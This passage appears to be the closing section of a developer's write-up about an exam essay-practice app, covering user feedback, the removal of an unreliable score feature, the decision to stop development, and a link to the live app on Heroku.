I conducted a few more interviews with people who were preparing for the exam to get feedback on the app. The feedback was positive, and people said that the app was easy to use and replaced multiple other tools for them. The main concern was about the reliability of the calculated score. Therefore, I removed the calculated score feature until I can come up with a more effective solution.

Despite the positive feedback, I decided to stop developing this app further because it wasn't 10 times better than the existing solutions, so I didn't feel it was worth charging money for. I stripped the app of most of its currently unnecessary features, such as authentication and the ability to save essays to make it easier to use. 

The app is live at [tryrewrite.com](https://tryrewrite.com). Please note that it may take a few seconds for the Heroku dynos to wake up, as the app uses the Eco Dynos Plan.